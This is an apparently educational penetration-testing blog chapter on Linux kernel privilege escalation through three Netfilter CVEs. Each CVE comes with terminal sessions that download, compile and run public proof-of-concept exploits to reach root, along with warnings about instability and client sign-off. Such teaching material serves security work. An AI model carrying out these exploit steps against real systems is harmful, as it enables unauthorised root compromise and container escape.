Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Linux Privilege Escalation — Kernel Exploits

Many organizations run Linux distributions that were configured years ago around a specific software stack, and the kernel never gets updated afterward — rebasing the application onto a newer kernel (or the kernel underneath a frozen application) can mean significant engineering effort, so companies often accept the risk and keep running old, unpatched kernels in production. Containers and VMs don’t fully solve this: they still share (or are built on) a specific host kernel, and a kernel-level vulnerability can be a container breakout primitive, not just a local privesc. Always check uname -r on a new foothold and cross-reference the kernel version against known CVEs — a public, pre-built PoC for a bad enough bug can mean root in seconds.

Exploits like these can be unstable. They write to raw kernel memory, so a failed or imperfect run can crash or corrupt the system — a reboot (or an outage) may be required to get back in, which may not be acceptable in a production engagement without client sign-off.

Netfilter

Netfilter is the Linux kernel module that implements packet filtering, NAT, and the packet-manipulation hook system that tools like iptables/arptables/nftables act through — sometimes described as the kernel’s firewall “software layer.” Every IP packet passes through Netfilter’s hooks before being forwarded to the target application, whether local or remote. It has three main jobs:

  • Packet defragmentation
  • Connection tracking
  • Network address translation (NAT)

Because it sits in the hot path for every packet and does nontrivial memory management (message queues, anonymous sets, per-CPU allocations), Netfilter has produced several serious kernel-privesc CVEs in recent years.

CVE-2021-22555

Heap out-of-bounds write in Netfilter’s ipt_entry handling. Affects kernel versions 2.6 through 5.11.

cry0l1t3@ubuntu:~$ uname -r

5.10.5-051005-generic
cry0l1t3@ubuntu:~$ wget https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
cry0l1t3@ubuntu:~$ gcc -m32 -static exploit.c -o exploit
cry0l1t3@ubuntu:~$ ./exploit

[+] Linux Privilege Escalation by theflow@ - 2021

[+] STAGE 0: Initialization
[*] Setting up namespace sandbox...
[*] Initializing sockets and message queues...

[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[+] fake_idx: fff
[+] real_idx: fdf

...SNIP...

root@ubuntu:/home/cry0l1t3# id

uid=0(root) gid=0(root) groups=0(root)

CVE-2022-25636

Heap out-of-bounds write in net/netfilter/nf_dup_netdev.c, affecting kernel 5.4 through 5.6.10. Nick Gregory’s writeup covers the discovery in detail. This one is particularly prone to corrupting the kernel on a failed run — expect to need a reboot before the box is reachable again.

cry0l1t3@ubuntu:~$ uname -r

5.13.0-051300-generic
cry0l1t3@ubuntu:~$ git clone https://github.com/Bonfee/CVE-2022-25636.git
cry0l1t3@ubuntu:~$ cd CVE-2022-25636
cry0l1t3@ubuntu:~$ make
cry0l1t3@ubuntu:~$ ./exploit

[*] STEP 1: Leak child and parent net_device
[+] parent net_device ptr: 0xffff991285dc0000
[+] child  net_device ptr: 0xffff99128e5a9000

[*] STEP 2: Spray kmalloc-192, overwrite msg_msg.security ptr and free net_device
[+] net_device struct freed

[*] STEP 3: Spray kmalloc-4k using setxattr + FUSE to realloc net_device
[+] obtained net_device struct

[*] STEP 4: Leak kaslr
[*] kaslr leak: 0xffffffff823093c0
[*] kaslr base: 0xffffffff80ffefa0

[*] STEP 5: Release setxattrs, free net_device, and realloc it again
[+] obtained net_device struct

[*] STEP 6: rop :)

# id

uid=0(root) gid=0(root) groups=0(root)

CVE-2023-32233

Use-after-free in nf_tables’ handling of anonymous sets, affecting kernel versions up through 6.3.1. Anonymous sets are meant to be temporary workspaces for processing batch requests and cleared out once processing finishes; a bug leaves them accessible and modifiable after that point, which can be leveraged to corrupt kernel memory and ultimately gain root.

cry0l1t3@ubuntu:~$ git clone https://github.com/Liuk3r/CVE-2023-32233
cry0l1t3@ubuntu:~$ cd CVE-2023-32233
cry0l1t3@ubuntu:~/CVE-2023-32233$ gcc -Wall -o exploit exploit.c -lmnl -lnftnl
cry0l1t3@ubuntu:~/CVE-2023-32233$ ./exploit

[*] Netfilter UAF exploit

[*] Checking for available CPUs...
[*] sched_getaffinity() => 0 2
[*] Reserved CPU 0 for PWN Worker
[*] Started cpu_spinning_loop() on CPU 1
[*] Started cpu_spinning_loop() on CPU 2
[*] Started cpu_spinning_loop() on CPU 3
[*] Creating "/tmp/modprobe"...
[*] Creating "/tmp/trigger"...
[*] Updating setgroups...
[*] Updating uid_map...
[*] Updating gid_map...
[*] Signaling PWN Worker...
[*] Waiting for PWN Worker...

...SNIP...

[*] You've Got ROOT:-)

# id

uid=0(root) gid=0(root) groups=0(root)

Key Takeaways

  • uname -r first, every time — kernel-exploit PoCs are version-specific, and a match against a known CVE (CVE-2021-22555, CVE-2022-25636, CVE-2023-32233, and others) can be a near-instant root.
  • Netfilter is a recurring source of these bugs because it does complex memory management (message queues, per-CPU structures, anonymous sets) on every packet that touches the host.
  • These exploits are inherently unstable and can crash or corrupt the kernel — treat them as a last resort on production/engagement systems, and get explicit sign-off before running one against a box you can’t afford to reboot or lose.
  • Containers and VMs share the host kernel; a kernel-level privesc bug is also a potential container/VM escape, not just a local-user-to-root bug.